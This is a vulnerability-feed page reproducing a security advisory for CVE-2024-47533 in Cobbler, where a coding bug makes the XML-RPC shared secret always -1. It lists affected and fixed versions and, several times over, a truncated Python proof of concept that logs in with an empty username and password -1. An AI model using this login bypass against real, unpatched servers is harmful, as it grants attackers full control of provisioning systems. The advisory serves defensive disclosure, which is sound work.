Skip to content
Heist/ feed
Back to feed
CriticalFix available

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Type: advisorySources: OSV

### Summary utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. ### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server. :return: The Cobbler secret which enables full access to Cobbler. """ try: with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd: data = fd.read() except: return -1 return str(data).strip() ``` Always returns `-1` because of the following exception: ``` binary mode doesn't take an encoding argument ``` This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+. ### PoC ``` #!/usr/bin/python3 import ssl import xmlrpc.client params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context() url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url) try: token = conn.login(params['username'], params['password']) except xmlrpc.client.Fault as e: print("Failed to l

Products
cobbler
Affected versions
3.1.2, 3.2.1, 3.2.2, 3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.3.4, 3.3.5, 3.3.6
Fixed versions
3.2.3, 3.3.7
CVEs
CVE-2024-47533
Confirmed fixed CVEs
Not specified
Updated in this feed
1 Nov 2026, 18:47 UTC · Revision 1

Source evidence

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

core-osv · Original source

Published 18 Nov 2024, 20:00 UTC

### Summary utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. ### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server. :return: The Cobbler secret which enables full access to Cobbler. """ try: with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd: data = fd.read() except: return -1 return str(data).strip() ``` Always returns `-1` because of the following exception: ``` binary mode doesn't take an encoding argument ``` This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+. ### PoC ``` #!/usr/bin/python3 import ssl import xmlrpc.client params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context() url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url) try: token = conn.login(params['username'], params['password']) except xmlrpc.client.Fault as e: print("Failed to l

osv:GHSA-m26c-fcgh-cp6h

cobbler

Fixed versions: 3.3.7

cobbler

Fixed versions: 3.2.3

Complete source record
{
  "id": "82cbb975dc3039d3914c87dc8ca8b0c467a2edbed8204a573f5fa23476f862ff",
  "url": "https://osv.dev/vulnerability/GHSA-m26c-fcgh-cp6h",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes",
    "summary": "### Summary utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. ### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: \"\"\" The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server. :return: The Cobbler secret which enables full access to Cobbler. \"\"\" try: with open(\"/var/lib/cobbler/web.ss\", 'rb', encoding='utf-8') as fd: data = fd.read() except: return -1 return str(data).strip() ``` Always returns `-1` because of the following exception: ``` binary mode doesn't take an encoding argument ``` This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+. ### PoC ``` #!/usr/bin/python3 import ssl import xmlrpc.client params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context() url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url) try: token = conn.login(params['username'], params['password']) except xmlrpc.client.Fault as e: print(\"Failed to l",
    "evidence": "osv:GHSA-m26c-fcgh-cp6h",
    "products": [
      {
        "name": {
          "value": "cobbler",
          "evidence": "/affected/0/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "3.3.7",
            "evidence": "/affected/0/ranges"
          }
        ],
        "affected_versions": [
          {
            "value": "3.3.0",
            "evidence": "/affected/0/versions"
          },
          {
            "value": "3.3.1",
            "evidence": "/affected/0/versions"
          },
          {
            "value": "3.3.2",
            "evidence": "/affected/0/versions"
          },
          {
            "value": "3.3.3",
            "evidence": "/affected/0/versions"
          },
          {
            "value": "3.3.4",
            "evidence": "/affected/0/versions"
          },
          {
            "value": "3.3.5",
            "evidence": "/affected/0/versions"
          },
          {
            "value": "3.3.6",
            "evidence": "/affected/0/versions"
          }
        ]
      },
      {
        "name": {
          "value": "cobbler",
          "evidence": "/affected/1/package/name"
        },
        "prerequisites": [],
        "fixed_versions": [
          {
            "value": "3.2.3",
            "evidence": "/affected/1/ranges"
          }
        ],
        "affected_versions": [
          {
            "value": "3.1.2",
            "evidence": "/affected/1/versions"
          },
          {
            "value": "3.2.1",
            "evidence": "/affected/1/versions"
          },
          {
            "value": "3.2.2",
            "evidence": "/affected/1/versions"
          }
        ]
      }
    ],
    "severity": "critical",
    "structured": {
      "id": "GHSA-m26c-fcgh-cp6h",
      "aliases": [
        "CVE-2024-47533",
        "GHSA-m26c-fcgh-cp6h",
        "PYSEC-2026-316"
      ],
      "metrics": [
        {
          "type": "CVSS_V3",
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "type": "ECOSYSTEM",
              "events": [
                {
                  "introduced": "3.3.0"
                },
                {
                  "fixed": "3.3.7"
                }
              ]
            }
          ],
          "package": {
            "name": "cobbler",
            "purl": "pkg:pypi/cobbler",
            "ecosystem": "PyPI"
          },
          "versions": [
            "3.3.0",
            "3.3.1",
            "3.3.2",
            "3.3.3",
            "3.3.4",
            "3.3.5",
            "3.3.6"
          ],
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-m26c-fcgh-cp6h/GHSA-m26c-fcgh-cp6h.json"
          }
        },
        {
          "ranges": [
            {
              "type": "ECOSYSTEM",
              "events": [
                {
                  "introduced": "3.0.0"
                },
                {
                  "fixed": "3.2.3"
                }
              ]
            }
          ],
          "package": {
            "name": "cobbler",
            "purl": "pkg:pypi/cobbler",
            "ecosystem": "PyPI"
          },
          "versions": [
            "3.1.2",
            "3.2.1",
            "3.2.2"
          ],
          "database_specific": {
            "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-m26c-fcgh-cp6h/GHSA-m26c-fcgh-cp6h.json"
          }
        }
      ],
      "modified": "2026-10-27T16:45:03.500878508Z",
      "provider": "osv",
      "references": [
        "https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h",
        "https://nvd.nist.gov/vuln/detail/CVE-2024-47533",
        "https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0",
        "https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda",
        "https://github.com/cobbler/cobbler",
        "https://github.com/pypa/advisory-database/tree/main/vulns/cobbler/PYSEC-2026-316.yaml",
        "https://pypi.org/project/cobbler"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-287"
        ],
        "severity": "CRITICAL",
        "github_reviewed": true,
        "nvd_published_at": "2024-11-18T17:15:11Z",
        "github_reviewed_at": "2024-11-18T20:00:56Z"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2024-47533",
        "evidence": "/aliases"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/database_specific/severity"
  },
  "source_id": "core-osv",
  "document_id": 462880,
  "published_at": "2024-11-18T20:00:56+00:00"
}